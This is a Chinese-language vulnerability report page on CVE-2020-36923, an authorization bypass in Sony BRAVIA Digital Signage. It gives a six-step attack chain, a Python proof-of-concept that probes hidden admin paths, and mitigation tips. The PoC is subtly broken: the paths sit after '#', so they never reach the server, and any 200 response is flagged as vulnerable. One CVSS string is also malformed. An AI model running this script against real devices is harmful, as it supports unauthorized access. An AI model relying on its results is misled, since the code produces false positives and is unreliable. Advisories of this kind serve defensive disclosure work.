IPBUF安全漏洞报告
English
CVE-2020-36923 CVSS 9.8 严重

CVE-2020-36923 Sony BRAVIA Digital Signage 授权绕过漏洞

披露日期: 2026-01-06

漏洞信息

漏洞编号
CVE-2020-36923
漏洞类型
不安全的直接对象引用(IDOR)
CVSS评分
9.8 严重
攻击向量
网络 (AV:N)
认证要求
无需认证 (PR:N)
用户交互
无需交互 (UI:N)
影响产品
Sony BRAVIA Digital Signage

相关标签

CVE-2020-36923IDOR授权绕过Sony BRAVIA数字标牌客户端访问控制绕过Web应用安全CRITICAL

漏洞概述

CVE-2020-36923是索尼BRAVIA数字标牌系统中发现的一个严重安全漏洞,CVSS评分高达9.8分,属于严重级别。该漏洞存在于Sony BRAVIA Digital Signage 1.7.8版本中,本质上是一个不安全的直接对象引用(Insecure Direct Object Reference, IDOR)漏洞。漏洞的核心问题在于系统过度依赖客户端的访问控制机制,而未在服务端进行充分的权限验证。攻击者可以通过操纵URL参数或直接访问隐藏的系统资源路径(如'/#/content-creation')来绕过授权控制,无需任何认证即可访问原本需要管理员权限才能使用的功能模块。这种授权绕过漏洞使得未经授权的用户能够访问敏感的管理功能,可能导致商业敏感信息泄露、数字内容被篡改,甚至整个数字标牌系统被恶意控制。由于该漏洞无需认证即可利用,且攻击复杂度低,对使用该产品的商业用户构成了极高的安全风险。

技术细节

该漏洞的技术根源在于Sony BRAVIA Digital Signage系统在前端实现了基于客户端的访问控制检查,但服务端缺乏相应的强制访问控制机制。系统通过JavaScript代码在前端实现了菜单和资源的可见性控制,敏感功能如内容创建模块被隐藏在特定的URL路径下(如'/#/content-creation'),并通过前端逻辑限制普通用户的访问。然而,攻击者可以直接构造或猜测这些隐藏资源的URL路径,绕过前端展示层的访问限制直接访问底层功能。系统未能实现基于服务端的会话验证和权限检查,使得任何能够访问设备的攻击者都能获取管理权限。从攻击向量来看,该漏洞通过网络即可远程利用(NW:AV:N),无需攻击者具备任何特殊权限(PR:N),也无需目标用户的任何交互操作(UI:N)。成功利用后可导致机密性(Confidentiality)、完整性(Integrity)和可用性(Availability)三方面均受到严重影响(C:H/I:H/A:H)。

攻击链分析

STEP 1
1
侦察阶段:攻击者识别目标Sony BRAVIA Digital Signage系统的IP地址或域名
STEP 2
2
信息收集:攻击者访问系统登录页面,观察正常用户界面的功能和隐藏菜单
STEP 3
3
路径发现:攻击者尝试访问隐藏的管理资源路径,如'/#/content-creation'等
STEP 4
4
授权绕过:利用IDOR漏洞,直接通过URL访问敏感管理功能,绕过客户端权限检查
STEP 5
5
权限提升:成功访问内容创建模块,获取管理员级别的系统控制权限
STEP 6
6
数据窃取或破坏:上传恶意内容、窃取商业信息或篡改数字标牌显示内容

PoC / 利用代码

⚠️ 仅供安全研究
以下代码仅用于安全研究和授权测试,未经授权使用属于违法行为。
PoC
import requests # CVE-2020-36923 PoC - Sony BRAVIA Digital Signage Authorization Bypass # Target: Sony BRAVIA Digital Signage 1.7.8 # Vulnerability: Insecure Direct Object Reference (IDOR) - Bypassing client-side access controls def check_vulnerability(target_url): """ Check if target is vulnerable to CVE-2020-36923 """ # Hidden admin endpoint that requires authorization bypass hidden_endpoints = [ "/#/content-creation", "/#/admin/settings", "/#/content-management", "/#/system-configuration" ] results = [] for endpoint in hidden_endpoints: # Attempt to access hidden resources directly url = target_url.rstrip('/') + endpoint try: response = requests.get(url, timeout=10, allow_redirects=False) # Check if access is granted without proper authorization if response.status_code in [200, 302]: results.append({ "endpoint": endpoint, "status": "VULNERABLE", "status_code": response.status_code, "note": "Access granted without authorization" }) else: results.append({ "endpoint": endpoint, "status": "CHECK_MANUALLY", "status_code": response.status_code }) except requests.RequestException as e: results.append({ "endpoint": endpoint, "status": "ERROR", "error": str(e) }) return results if __name__ == "__main__": # Replace with target URL target = "http://target-bravia-signage.local" print(f"[*] Testing CVE-2020-36923 on {target}") print(f"[*] Sony BRAVIA Digital Signage IDOR Vulnerability\n") results = check_vulnerability(target) for result in results: print(f"Endpoint: {result['endpoint']}") print(f"Status: {result['status']}") print(f"---") # Note: This PoC demonstrates the IDOR vulnerability where attackers can # directly access hidden admin resources by manipulating URL paths, # bypassing client-side authorization controls implemented in the web interface.

影响范围

Sony BRAVIA Digital Signage 1.7.8

防御指南

临时缓解措施
由于该漏洞无需认证即可利用,建议采取以下临时缓解措施:1) 如果业务允许,将Sony BRAVIA Digital Signage系统部署在受保护的内部网络中,限制外部网络直接访问;2) 部署Web应用防火墙(WAF)监控和阻止对隐藏管理路径的异常访问请求;3) 实施网络层访问控制列表(ACL),仅允许受信任的IP地址访问管理界面;4) 监控系统日志,关注异常的访问模式和行为;5) 尽快联系索尼官方获取安全更新补丁进行系统升级。

参考链接

快速导航: 前沿安全 最新收录域名列表 最新威胁情报列表 最新网站排名列表 最新工具资源列表 最新CVE漏洞列表